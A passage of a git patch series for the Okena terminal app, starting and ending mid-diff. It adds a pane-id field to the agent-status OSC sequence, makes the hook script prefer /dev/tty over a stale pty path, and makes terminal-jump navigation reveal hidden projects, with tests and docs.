+                // has cleared gets cleared on the client instead of lingering.
+                ("remote:c1:t2".to_string(), None),
+            ]
+        );
+    }
+
+    #[test]
+    fn snapshot_agent_statuses_ignores_a_connection_with_no_state() {
+        let snap = RemoteSnapshot {
+            config: config("c1"),
+            state: None,
+        };
+        assert!(snapshot_agent_statuses(&[snap]).is_empty());
+    }
 }

From bac54f6a1e7664d4da6b73822758d0d3aea7203e Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 15:00:01 +0200
Subject: [PATCH 06/16] fix(agent-status): address the status at its pane and
 prefer the live tty
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

$OKENA_TTY is captured once at spawn, so it names a pty that is already
wrong after the pane reattaches to a persistent dtach/tmux session — the
status either vanishes or, worse, lands in whichever pane has since been
given that path and drives the wrong agent's indicator.

Two changes close both halves:

- The sender now prefers /dev/tty, which always resolves to the pane's
  current pty, and falls back to $OKENA_TTY only for hooks that run with no
  controlling terminal (the case it was added for). The probe lives in a
  subshell on purpose: POSIX makes a redirection error on a special built-in
  exit the shell, so a bare `: >/dev/tty` would abort the script in exactly
  the no-tty case — and as a PreToolUse hook, a non-zero exit blocks the
  tool call.
- The pane exports OKENA_TERMINAL_ID and the sequence carries it as `tid=`.
  A pane drops a status addressed elsewhere, before the session-capture
  step, so a stray writer cannot plant a session that would later be
  persisted and resumed. `tid` is optional, so existing senders still work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-terminal/CLAUDE.md               | 22 +++++---
 crates/okena-terminal/src/pty_manager.rs      | 10 ++++
 .../src/terminal/osc_sidecar.rs               | 18 +++++++
 .../okena-terminal/src/terminal/tests/osc.rs  | 51 +++++++++++++++++++
 docs/agent-status.md                          | 29 ++++++++++-
 .../scripts/okena-agent-status.sh             | 41 ++++++++++++---
 6 files changed, 154 insertions(+), 17 deletions(-)

diff --git a/crates/okena-terminal/CLAUDE.md b/crates/okena-terminal/CLAUDE.md
index bfcb2c832..53360e82c 100644
--- a/crates/okena-terminal/CLAUDE.md
+++ b/crates/okena-terminal/CLAUDE.md
@@ -57,14 +57,20 @@ ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; msg=<b64> ] [ ; lbl=<b64-j
   per-feature drain. A transition into `blocked`/`done` also queues a
   `TerminalNotification` (reusing the OSC 9 notification path + focus
   suppression).
-- `pty_manager.rs` exports `OKENA_TTY` (the pane's slave pty path, from
-  `ptsname` on the master fd) into the pane env so a process **without a
-  controlling terminal** — e.g. a Claude Code hook — can emit this OSC by
-  writing to `$OKENA_TTY` (writing to the slave reaches Okena's master reader
-  even through a nested dtach/tmux pty). `/dev/tty` only works for interactive
-  processes, not hooks. Captured at first spawn via `cmd.env`, so it goes
-  **stale on reattach** to a persistent dtach/tmux session (not yet refreshed
-  per-attach — known follow-up).
+- `pty_manager.rs` exports two env vars into the pane at spawn:
+  - `OKENA_TTY` — the pane's slave pty path (portable-pty's `tty_name`, i.e.
+    reentrant `ttyname_r`; **not** `libc::ptsname`, whose static buffer races
+    concurrent terminal creation). It exists for processes **without a
+    controlling terminal** — e.g. a Claude Code hook — since writing to the
+    slave reaches Okena's master reader even through a nested dtach/tmux pty.
+    It is a **fallback**: captured once at spawn, it goes stale when the pane
+    reattaches to a persistent session, so senders must prefer `/dev/tty` when
+    they have one (that always names the pane's current pty).
+  - `OKENA_TERMINAL_ID` — the pane's terminal id, echoed back as the OSC's
+    `tid=`. The sidecar drops a status whose `tid` isn't its own, which is what
+    contains the stale-`OKENA_TTY` failure mode: a recorded path can be
+    recycled by another pane, and driving the wrong agent's indicator is worse
+    than dropping the update. Omitted `tid` is accepted.
 
 ## Threading Model
 
diff --git a/crates/okena-terminal/src/pty_manager.rs b/crates/okena-terminal/src/pty_manager.rs
index e652f62c1..378159ac4 100644
--- a/crates/okena-terminal/src/pty_manager.rs
+++ b/crates/okena-terminal/src/pty_manager.rs
@@ -882,8 +882,18 @@ impl PtyManager {
             }
         }
 
+        // Let anything in the pane name the pane it is running in. The
+        // agent-status OSC carries it back as `tid=`, which lets the receiving
+        // terminal reject a status meant for a different pane — the failure
+        // mode when a status is written to a recorded pty path that has since
+        // been recycled.
+        cmd.env("OKENA_TERMINAL_ID", terminal_id);
+
         // Expose the pane's slave pty so agent hooks without a controlling
         // terminal can emit in-band status updates through `$OKENA_TTY`.
+        // Captured once here, so it is only a fallback: a process that has a
+        // controlling terminal should prefer that, since this path goes stale
+        // when the pane later reattaches to a persistent tmux/dtach session.
         #[cfg(unix)]
         if let Some(path) = slave_pty_path(pair.master.as_ref()) {
             cmd.env("OKENA_TTY", path);
diff --git a/crates/okena-terminal/src/terminal/osc_sidecar.rs b/crates/okena-terminal/src/terminal/osc_sidecar.rs
index 670762c36..35785fd69 100644
--- a/crates/okena-terminal/src/terminal/osc_sidecar.rs
+++ b/crates/okena-terminal/src/terminal/osc_sidecar.rs
@@ -316,6 +316,7 @@ impl SidecarPerform {
         let mut st: Option<&str> = None;
         let mut msg_b64: Option<&str> = None;
         let mut lbl_b64: Option<&str> = None;
+        let mut tid: Option<&str> = None;
         for kv in &params[1..] {
             let Ok(s) = std::str::from_utf8(kv) else {
                 continue;
@@ -327,10 +328,27 @@ impl SidecarPerform {
                 "st" => st = Some(val),
                 "msg" => msg_b64 = Some(val),
                 "lbl" => lbl_b64 = Some(val),
+                "tid" => tid = Some(val),
                 _ => {}
             }
         }
 
+        // A sender that knows which pane it belongs to (via `$OKENA_TERMINAL_ID`)
+        // stamps it here. Reject a mismatch: a process holding a recorded pty
+        // path across a reattach can end up writing into a pane that path now
+        // belongs to, and silently driving another agent's indicator is worse
+        // than showing nothing. `tid` is optional — senders that omit it (and
+        // anything predating it) are still accepted.
+        if let Some(tid) = tid
+            && tid != self.terminal_id
+        {
+            log::debug!(
+                "agent-status[{}]: dropping status addressed to {tid:?}",
+                self.terminal_id
+            );
+            return;
+        }
+
         let Some(st) = st else {
             log::debug!(
                 "agent-status[{}]: OSC 9001 with no st= field — ignored",
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index 4f59f9072..c96756848 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1638,3 +1638,54 @@ fn test_agent_session_keeps_transcript_path_across_partial_updates() {
     assert_eq!(session.transcript_path, None);
     assert!(terminal.take_agent_session_dirty());
 }
+
+#[test]
+fn test_agent_status_rejects_a_status_addressed_to_another_pane() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    // A process holding a recorded pty path across a reattach can write into
+    // whichever pane now owns that path. Driving another agent's indicator is
+    // worse than showing nothing, so a mismatched `tid` is dropped whole.
+    terminal.process_output(b"\x1b]9001;st=working;tid=someone-else\x07");
+    assert_eq!(terminal.agent_status(), None);
+    assert!(!terminal.take_remote_dirty());
+
+    // Our own id is accepted...
+    terminal.process_output(b"\x1b]9001;st=working;tid=t\x07");
+    assert!(terminal.agent_status().is_some());
+
+    // ...and so is an omitted one (senders predating the param, or outside Okena).
+    terminal.process_output(b"\x1b]9001;st=blocked\x07");
+    assert_eq!(
+        terminal.agent_status().map(|s| s.lifecycle),
+        Some(okena_core::agent_status::AgentLifecycle::Blocked)
+    );
+}
+
+#[test]
+fn test_agent_session_not_captured_from_a_foreign_pane() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;tid=elsewhere;lbl={lbl}\x07").as_bytes());
+
+    // The guard runs before capture, so a stray pane cannot plant a session
+    // that would later be persisted and resumed here.
+    assert_eq!(terminal.agent_session(), None);
+    assert!(!terminal.take_agent_session_dirty());
+}
diff --git a/docs/agent-status.md b/docs/agent-status.md
index 7956ed777..f4ccbaf23 100644
--- a/docs/agent-status.md
+++ b/docs/agent-status.md
@@ -45,13 +45,16 @@ does not survive a restart.
 An agent reports its state by writing this OSC sequence to its terminal:
 
 ```
-ESC ] 9001 ; st=<state> [ ; msg=<base64> ] [ ; lbl=<base64-json> ] ST
+ESC ] 9001 ; st=<state> [ ; tid=<terminal-id> ] [ ; msg=<base64> ] [ ; lbl=<base64-json> ] ST
 ```
 
 - `ESC` is `\033` (0x1B); `ST` is the string terminator `ESC \` (`\033\\`). A
   `BEL` (`\007`) terminator is also accepted.
 - `st=` — `working` | `blocked` | `done` | `idle`, or `clear` to remove any
   status. An unknown/missing `st` leaves the current status untouched.
+- `tid=` — the pane the status is *for*, from `$OKENA_TERMINAL_ID`. A pane drops
+  a sequence addressed to a different id (see "Choosing the output device").
+  Optional: omit it and the receiving pane accepts the status.
 - `msg=` — base64(UTF-8) of the free-form `custom` text. Base64 keeps the value
   `;`/`ST`-safe.
 - `lbl=` — base64(UTF-8) of a flat JSON object, e.g. `{"stage":"verify"}`.
@@ -72,6 +75,30 @@ This is the same family of in-band signals Okena already understands
 (`OSC 9;4` progress, `OSC 133` shell integration); see the contract note in
 `crates/okena-terminal/CLAUDE.md`.
 
+### Choosing the output device
+
+Write to the **controlling terminal** (`/dev/tty`) whenever there is one: it
+always resolves to the pane's *current* pty, so it keeps working after the pane
+reattaches to a persistent session backend.
+
+Hooks are the exception — an agent may run them with no controlling terminal at
+all, so Okena also exports `$OKENA_TTY`, the pane's slave pty path captured at
+spawn. Writing to the slave reaches Okena's reader even through a nested
+dtach/tmux pty. Use it as the *fallback*:
+
+```sh
+if (: >/dev/tty) 2>/dev/null; then dev=/dev/tty; else dev="${OKENA_TTY:-/dev/tty}"; fi
+```
+
+> Keep the probe in a subshell. POSIX makes a redirection error on a special
+> built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts the script in
+> exactly the no-tty case the fallback is for.
+
+`$OKENA_TTY` is captured once, so after a reattach it may name a pty that now
+belongs to a *different* pane. That is what `tid=` defends against: stamp
+`$OKENA_TERMINAL_ID` on the sequence and a pane that isn't the addressee drops
+it instead of showing another agent's status.
+
 ## Session resume
 
 The reserved `agent` + `session_id` (+ optional `transcript_path`) labels let
diff --git a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
index 2755a631f..4f76b9b73 100755
--- a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
+++ b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
@@ -11,13 +11,17 @@
 # Designed to be wired up as a Claude Code hook (see docs/agent-status.md), but
 # it's agent-agnostic — anything that can run a command can call it.
 #
-# Output device: a hook runs as a subprocess with NO controlling terminal, so
-# `/dev/tty` is unavailable to it. Okena therefore exports `OKENA_TTY` (the
-# pane's slave pty path) into the pane's environment; we write there. Writing to
-# the slave reaches Okena's reader even through a nested session backend
-# (dtach/tmux). Falls back to `/dev/tty` for the interactive case. It drains
-# stdin so a hook feeding event JSON on the pipe never blocks, and is a silent
-# no-op when there's no device to write to — safe to call from anywhere.
+# Output device: prefer the controlling terminal, fall back to `$OKENA_TTY`.
+# `/dev/tty` always resolves to the pane's *current* pty, so it stays correct
+# after the pane reattaches to a persistent session backend (dtach/tmux). But a
+# hook may run as a subprocess with no controlling terminal at all, which is why
+# Okena also exports `OKENA_TTY` (the pane's slave pty path, captured at spawn);
+# writing to the slave reaches Okena's reader even through a nested pty. That
+# path can go stale across a reattach, so it is the fallback, not the default —
+# and the `tid=` param below lets Okena reject a status that lands in the wrong
+# pane because a recorded path was recycled. This drains stdin so a hook feeding
+# event JSON on the pipe never blocks, and is a silent no-op when there's no
+# device to write to — safe to call from anywhere.
 #
 # Debugging: set OKENA_AGENT_STATUS_LOG=/path/to/log to append one line per
 # invocation recording the state, the target device, and whether the write
@@ -31,7 +35,22 @@ message="${2:-}"
 # only to tag the captured session in the optional lbl= field; empty is fine.
 agent="${OKENA_AGENT:-}"
 
-tty_dev="${OKENA_TTY:-/dev/tty}"
+# Pane this agent runs in, stamped onto the sequence so Okena can drop a status
+# that reaches the wrong pane. Empty outside Okena — the param is then omitted.
+terminal_id="${OKENA_TERMINAL_ID:-}"
+
+# Opening /dev/tty fails (ENXIO) without a controlling terminal, so probing it
+# both picks the live device and detects the no-tty hook case.
+#
+# The probe MUST stay in a subshell. POSIX makes a redirection error on a
+# special built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts this
+# script under dash in exactly the case the fallback below exists for — and
+# since this runs as a PreToolUse hook, a non-zero exit blocks the tool call.
+if (: >/dev/tty) 2>/dev/null; then
+    tty_dev="/dev/tty"
+else
+    tty_dev="${OKENA_TTY:-/dev/tty}"
+fi
 
 # Append a debug line when OKENA_AGENT_STATUS_LOG points somewhere writable;
 # a silent no-op otherwise. Never fails the hook.
@@ -90,6 +109,12 @@ fi
 # base64-encoded so their values stay ';'/ST-safe (the VTE parser splits OSC
 # params on ';').
 params="st=$state"
+# Address the status at our own pane, so Okena can drop it if it lands
+# elsewhere (a recorded $OKENA_TTY path recycled by another pane after a
+# reattach). Omitted outside Okena, where the receiver accepts anything.
+if [ -n "$terminal_id" ]; then
+    params="$params;tid=$terminal_id"
+fi
 if [ -n "$message" ]; then
     msg_b64=$(printf '%s' "$message" | base64 | tr -d '\n')
     params="$params;msg=$msg_b64"

From fe72cc498a9aeb7f54db8f9d41f6f28c485fb0ca Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 4 Aug 2026 15:10:30 +0200
Subject: [PATCH 07/16] fix(navigation): reveal off-screen projects from one
 window-aware jump
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The sidebar AGENTS list is cross-project by design, so a row can point at a
project the current window renders nowhere — one in its hidden set or
outside its folder filter. Clicking only moved focus, which silently landed
on an invisible pane.

`focus_terminal_by_id` now takes the calling window and decides revealing
for itself: in overview, a target the window isn't showing gets zoomed, so
`compute_visible_projects`' focus override surfaces it past both the hidden
set and the filter. Neither is mutated, so zooming back out returns the
user to exactly the view they had.

This also fixes the notification jump, which had the rule open-coded: it
zoomed to the target project *before* delegating, and changing the focused
project drops the fullscreen context — so jumping out of a fullscreened
pane dumped the user into the overview instead of following them into the
target. With the decision inside, the fullscreen branch retargets in place
and the jump stays fullscreen.

All six jump call sites (agent rows, sidebar clicks, cursor navigation,
notifications) now share the one operation.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011st5wPRrrAUgA8EQYrGWwY
---
 crates/okena-app/src/app/notifications.rs     |  37 +----
 crates/okena-views-sidebar/src/agents_list.rs |   3 +-
 .../okena-views-sidebar/src/project_list.rs   |   6 +-
 .../okena-views-sidebar/src/sidebar/cursor.rs |   6 +-
 crates/okena-workspace/src/actions/focus.rs   | 157 +++++++++++++++++-
 crates/okena-workspace/src/focus.rs           |  28 +++-
 docs/agent-status.md                          |   7 +
 7 files changed, 200 insertions(+), 44 deletions(-)

diff --git a/crates/okena-app/src/app/notifications.rs b/crates/okena-app/src/app/notifications.rs
index 5f9629f45..9b36a5dbe 100644
--- a/crates/okena-app/src/app/notifications.rs
+++ b/crates/okena-app/src/app/notifications.rs
@@ -357,22 +357,18 @@ impl Okena {
         let Some((view, handle)) = self.window_view_and_handle(target) else {
             return;
         };
-        let reveal = !self.project_visible_in(target, &view, project_id, cx);
-
         let workspace = self.workspace.clone();
         let focus_manager = view.read(cx).focus_manager();
         let pid = project_id.to_string();
         let tid = terminal_id.to_string();
         focus_manager.update(cx, |fm, cx| {
             workspace.update(cx, |ws, cx| {
-                if reveal {
-                    // Zoom into the project. The focus override is shown even
-                    // when the project is in the window's hidden set or behind
-                    // a folder filter, and supersedes a zoom into another
-                    // project — so the terminal below becomes reachable.
-                    ws.set_focused_project(fm, Some(pid.clone()), cx);
-                }
-                ws.focus_terminal_by_id(fm, &pid, &tid, cx);
+                // Revealing an off-screen project is `focus_terminal_by_id`'s
+                // job now. Zooming here first cancelled fullscreen (changing the
+                // focused project drops that context) before the reveal could
+                // retarget it, so a jump out of a fullscreened pane dumped the
+                // user back into the overview.
+                ws.focus_terminal_by_id(fm, target, &pid, &tid, cx);
             });
             cx.notify();
         });
@@ -403,25 +399,4 @@ impl Okena {
         }
     }
 
-    /// Whether `project_id` is in `window`'s currently visible set — accounting
-    /// for the hidden set, folder filter, and that window's own zoom/focus
-    /// state (read from its `FocusManager`).
-    fn project_visible_in(
-        &self,
-        window_id: WindowId,
-        view: &Entity<WindowView>,
-        project_id: &str,
-        cx: &App,
-    ) -> bool {
-        let (focused, individual) = {
-            let fm = view.read(cx).focus_manager();
-            let fm = fm.read(cx);
-            (fm.focused_project_id().cloned(), fm.is_focus_individual())
-        };
-        self.workspace
-            .read(cx)
-            .visible_projects(window_id, focused.as_ref(), individual)
-            .iter()
-            .any(|p| p.id == project_id)
-    }
 }
diff --git a/crates/okena-views-sidebar/src/agents_list.rs b/crates/okena-views-sidebar/src/agents_list.rs
index 1a301fbd1..2f2dbea62 100644
--- a/crates/okena-views-sidebar/src/agents_list.rs
+++ b/crates/okena-views-sidebar/src/agents_list.rs
@@ -151,9 +151,10 @@ impl Sidebar {
             .on_click(cx.listener(move |this, _, _window, cx| {
                 this.cursor_index = None;
                 let workspace = this.workspace.clone();
+                let window_id = this.window_id;
                 this.focus_manager.update(cx, |fm, cx| {
                     workspace.update(cx, |ws, cx| {
-                        ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                        ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
                     });
                     cx.notify();
                 });
diff --git a/crates/okena-views-sidebar/src/project_list.rs b/crates/okena-views-sidebar/src/project_list.rs
index 36c9ecda2..bcf67fb2e 100644
--- a/crates/okena-views-sidebar/src/project_list.rs
+++ b/crates/okena-views-sidebar/src/project_list.rs
@@ -607,9 +607,10 @@ impl Sidebar {
                 move |this, _, _window, cx| {
                     this.cursor_index = None;
                     let workspace = this.workspace.clone();
+                    let window_id = this.window_id;
                     this.focus_manager.update(cx, |fm, cx| {
                         workspace.update(cx, |ws, cx| {
-                            ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                            ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
                         });
                         cx.notify();
                     });
@@ -687,11 +688,12 @@ impl Sidebar {
                             } else {
                                 this.cursor_index = None;
                                 let workspace = this.workspace.clone();
+                                let window_id = this.window_id;
                                 let pid = project_id.clone();
                                 let tid = terminal_id.clone();
                                 this.focus_manager.update(cx, |fm, cx| {
                                     workspace.update(cx, |ws, cx| {
-                                        ws.focus_terminal_by_id(fm, &pid, &tid, cx);
+                                        ws.focus_terminal_by_id(fm, window_id, &pid, &tid, cx);
                                     });
                                     cx.notify();
                                 });
diff --git a/crates/okena-views-sidebar/src/sidebar/cursor.rs b/crates/okena-views-sidebar/src/sidebar/cursor.rs
index db4beb221..d92cbf860 100644
--- a/crates/okena-views-sidebar/src/sidebar/cursor.rs
+++ b/crates/okena-views-sidebar/src/sidebar/cursor.rs
@@ -449,9 +449,10 @@ impl Sidebar {
                 terminal_id,
             } => {
                 let workspace = self.workspace.clone();
+                let window_id = self.window_id;
                 self.focus_manager.update(cx, |fm, cx| {
                     workspace.update(cx, |ws, cx| {
-                        ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                        ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
                     });
                     cx.notify();
                 });
@@ -523,9 +524,10 @@ impl Sidebar {
                 terminal_id,
             } => {
                 let workspace = self.workspace.clone();
+                let window_id = self.window_id;
                 self.focus_manager.update(cx, |fm, cx| {
                     workspace.update(cx, |ws, cx| {
-                        ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                        ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
                     });
                     cx.notify();
                 });
diff --git a/crates/okena-workspace/src/actions/focus.rs b/crates/okena-workspace/src/actions/focus.rs
index 91d578b26..7626774c4 100644
--- a/crates/okena-workspace/src/actions/focus.rs
+++ b/crates/okena-workspace/src/actions/focus.rs
@@ -231,9 +231,19 @@ impl Workspace {
     /// the active view mode onto the target rather than focusing a pane the
     /// current view is hiding. (Use `set_focused_terminal` for clicks on a pane
     /// that's already on screen.)
+    /// The one navigation operation behind every "jump to this terminal":
+    /// agent-row and sidebar clicks, cursor navigation, notification jumps,
+    /// remote focus requests.
+    ///
+    /// Window-aware on purpose. Callers used to decide for themselves whether
+    /// the target needed revealing and pre-emptively zoom before calling — which
+    /// both duplicated the rule and broke fullscreen, since changing the focused
+    /// project cancels it *before* the reveal below can retarget it. Deciding
+    /// here keeps the whole jump one step.
     pub fn focus_terminal_by_id(
         &mut self,
         focus_manager: &mut FocusManager,
+        window_id: WindowId,
         project_id: &str,
         terminal_id: &str,
         cx: &mut impl WorkspaceCx,
@@ -242,6 +252,18 @@ impl Workspace {
             && let Some(ref layout) = project.layout
             && let Some(path) = layout.find_terminal_path(terminal_id)
         {
+            // Whether this window renders the target's column at all. A project
+            // in the hidden set or outside the active folder filter does not, so
+            // the reveal has to zoom instead of just moving focus.
+            let project_offscreen = !self
+                .visible_projects(
+                    window_id,
+                    focus_manager.focused_project_id(),
+                    focus_manager.is_focus_individual(),
+                )
+                .iter()
+                .any(|p| p.id == project_id);
+
             // Activate any tabs along the path so the terminal becomes visible
             if let Some(project_mut) = self.project_mut(project_id)
                 && let Some(ref mut layout) = project_mut.layout
@@ -251,7 +273,12 @@ impl Workspace {
             self.notify_data(cx);
             // Reveal: retarget the active zoom/fullscreen onto the target so it
             // is actually visible, then focus it.
-            focus_manager.reveal_terminal(project_id.to_string(), path, terminal_id.to_string());
+            focus_manager.reveal_terminal(
+                project_id.to_string(),
+                path,
+                terminal_id.to_string(),
+                project_offscreen,
+            );
             self.touch_project(project_id);
             self.bump_activity(project_id, cx);
             cx.notify();
@@ -415,3 +442,131 @@ mod gpui_tests {
         });
     }
 }
+
+/// Window-aware navigation: `focus_terminal_by_id` is the single entry point for
+/// every "jump to this terminal", so it has to reach panes the calling window
+/// currently renders nowhere.
+#[cfg(all(test, feature = "gpui"))]
+mod jump_gpui_tests {
+    use crate::focus::FocusManager;
+    use crate::settings::HooksConfig;
+    use crate::state::{
+        LayoutNode, ProjectData, WindowId, WindowState, Workspace, WorkspaceData,
+    };
+    use gpui::AppContext as _;
+    use okena_core::theme::FolderColor;
+    use okena_terminal::shell_config::ShellType;
+    use std::collections::HashMap;
+
+    fn project(id: &str, terminal_id: &str) -> ProjectData {
+        ProjectData {
+            id: id.to_string(),
+            name: format!("Project {id}"),
+            path: "/tmp/test".to_string(),
+            layout: Some(LayoutNode::Terminal {
+                terminal_id: Some(terminal_id.to_string()),
+                minimized: false,
+                detached: false,
+                shell_type: ShellType::Default,
+                zoom_level: 1.0,
+            }),
+            terminal_names: HashMap::new(),
+            hidden_terminals: HashMap::new(),
+            worktree_info: None,
+            worktree_ids: Vec::new(),
+            folder_color: FolderColor::default(),
+            hooks: HooksConfig::default(),
+            is_remote: false,
+            connection_id: None,
+            service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
+            default_shell: None,
+            hook_terminals: HashMap::new(),
+            pinned: false,
+            last_activity_at: None,
+            is_creating: false,
+            is_closing: false,
+        }
+    }
+
+    fn workspace_data(hidden: &[&str]) -> WorkspaceData {
+        WorkspaceData {
+            version: 1,
+            projects: vec![project("p1", "t1"), project("p2", "t2")],
+            project_order: vec!["p1".to_string(), "p2".to_string()],
+            folders: Vec::new(),
+            service_panel_heights: HashMap::new(),
+            hook_panel_heights: HashMap::new(),
+            main_window: WindowState {
+                hidden_project_ids: hidden.iter().map(|s| s.to_string()).collect(),
+                ..Default::default()
+            },
+            extra_windows: Vec::new(),
+        }
+    }
+
+    #[gpui::test]
+    fn jumping_to_a_hidden_project_zooms_it_into_view(cx: &mut gpui::TestAppContext) {
+        // p2 is in this window's hidden set, so overview renders no column for
+        // it — focusing without revealing would land on an invisible pane.
+        let workspace = cx.new(|_cx| Workspace::new(workspace_data(&["p2"])));
+        let mut fm = FocusManager::new();
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            ws.focus_terminal_by_id(&mut fm, WindowId::Main, "p2", "t2", cx);
+        });
+
+        assert_eq!(fm.focused_project_id().map(String::as_str), Some("p2"));
+        workspace.read_with(cx, |ws: &Workspace, _cx| {
+            let visible = ws.visible_projects(WindowId::Main, fm.focused_project_id(), false);
+            assert!(
+                visible.iter().any(|p| p.id == "p2"),
+                "the jump target must end up on screen"
+            );
+        });
+        assert_eq!(
+            fm.focused_terminal_state().map(|s| s.project_id).as_deref(),
+            Some("p2")
+        );
+    }
+
+    #[gpui::test]
+    fn jumping_within_the_overview_does_not_zoom(cx: &mut gpui::TestAppContext) {
+        // p2 is already on screen, so the multi-project overview stays intact.
+        let workspace = cx.new(|_cx| Workspace::new(workspace_data(&[])));
+        let mut fm = FocusManager::new();
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            ws.focus_terminal_by_id(&mut fm, WindowId::Main, "p2", "t2", cx);
+        });
+
+        assert_eq!(fm.focused_project_id(), None, "overview must be preserved");
+        assert_eq!(
+            fm.focused_terminal_state().map(|s| s.project_id).as_deref(),
+            Some("p2")
+        );
+    }
+
+    #[gpui::test]
+    fn jumping_out_of_fullscreen_stays_fullscreen(cx: &mut gpui::TestAppContext) {
+        // The regression this pins: callers used to zoom to the target project
+        // *before* the reveal, and changing the focused project drops the
+        // fullscreen context — so a notification jump dumped the user back into
+        // the overview instead of following them into the target pane.
+        let workspace = cx.new(|_cx| Workspace::new(workspace_data(&["p2"])));
+        let mut fm = FocusManager::new();
+        fm.enter_fullscreen("p1".to_string(), vec![], "t1".to_string());
+        assert!(fm.has_fullscreen());
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            ws.focus_terminal_by_id(&mut fm, WindowId::Main, "p2", "t2", cx);
+        });
+
+        assert_eq!(
+            fm.fullscreen_state(),
+            Some(("p2", "t2")),
+            "fullscreen follows the jump onto the target pane"
+        );
+    }
+}
diff --git a/crates/okena-workspace/src/focus.rs b/crates/okena-workspace/src/focus.rs
index 0466b2df6..2199a554b 100644
--- a/crates/okena-workspace/src/focus.rs
+++ b/crates/okena-workspace/src/focus.rs
@@ -257,15 +257,22 @@ impl FocusManager {
     ///   surfaces that project even past a folder filter or a hidden-set entry.
     /// - **Overview** (no zoom, no fullscreen) → just move terminal focus; the
     ///   target's column is already on screen, so the multi-project overview is
-    ///   left intact.
+    ///   left intact. Unless `project_offscreen` says it isn't: a project in the
+    ///   window's hidden set or behind a folder filter renders nowhere, so
+    ///   focusing it would silently do nothing. Then zoom to it instead —
+    ///   `compute_visible_projects`' focus override surfaces a project past both.
     ///
     /// `terminal_id` is the id of the terminal at `layout_path`; it's required
     /// to retarget fullscreen (which tracks the focused terminal by id).
+    /// `project_offscreen` must be computed against the *calling window*, which
+    /// is why this takes it rather than deciding for itself — a `FocusManager`
+    /// is per-window but doesn't hold the workspace data to check.
     pub fn reveal_terminal(
         &mut self,
         project_id: String,
         layout_path: Vec<usize>,
         terminal_id: String,
+        project_offscreen: bool,
     ) {
         if self.context == FocusContext::Fullscreen {
             // Retarget the single zoomed pane onto the target, following it to
@@ -295,6 +302,13 @@ impl FocusManager {
         {
             self.focused_project_id = Some(project_id.clone());
             self.focus_project_individual = false;
+        } else if self.focused_project_id.is_none() && project_offscreen {
+            // Overview, but this window isn't rendering the target's column.
+            // Zooming is the narrowest way to make it reachable; leaving the
+            // hidden set / folder filter alone means the user's view returns to
+            // exactly what it was when they zoom back out.
+            self.focused_project_id = Some(project_id.clone());
+            self.focus_project_individual = false;
         }
         self.current_focus = Some(FocusTarget::new(project_id, layout_path));
         self.context = FocusContext::Terminal;
@@ -680,7 +694,7 @@ mod tests {
         fm.enter_fullscreen("proj1".to_string(), vec![0], "term1".to_string());
         let stack_after_enter = fm.focus_stack.len();
 
-        fm.reveal_terminal("proj2".to_string(), vec![1, 0], "term2".to_string());
+        fm.reveal_terminal("proj2".to_string(), vec![1, 0], "term2".to_string(), false);
 
         assert!(fm.has_fullscreen());
         assert!(fm.is_terminal_fullscreened("proj2", "term2"));
@@ -703,7 +717,7 @@ mod tests {
         fm.set_focused_project_id(Some("proj1".to_string()));
         fm.focus_terminal("proj1".to_string(), vec![0]);
 
-        fm.reveal_terminal("proj2".to_string(), vec![2], "term2".to_string());
+        fm.reveal_terminal("proj2".to_string(), vec![2], "term2".to_string(), false);
 
         assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
         assert!(!fm.has_fullscreen());
@@ -720,7 +734,7 @@ mod tests {
         let mut fm = FocusManager::new();
         fm.focus_terminal("proj1".to_string(), vec![0]);
 
-        fm.reveal_terminal("proj2".to_string(), vec![1], "term2".to_string());
+        fm.reveal_terminal("proj2".to_string(), vec![1], "term2".to_string(), false);
 
         assert_eq!(fm.focused_project_id(), None);
         assert!(!fm.has_fullscreen());
@@ -737,7 +751,7 @@ mod tests {
         fm.set_focused_project_id(Some("proj1".to_string()));
         fm.focus_terminal("proj1".to_string(), vec![0]);
 
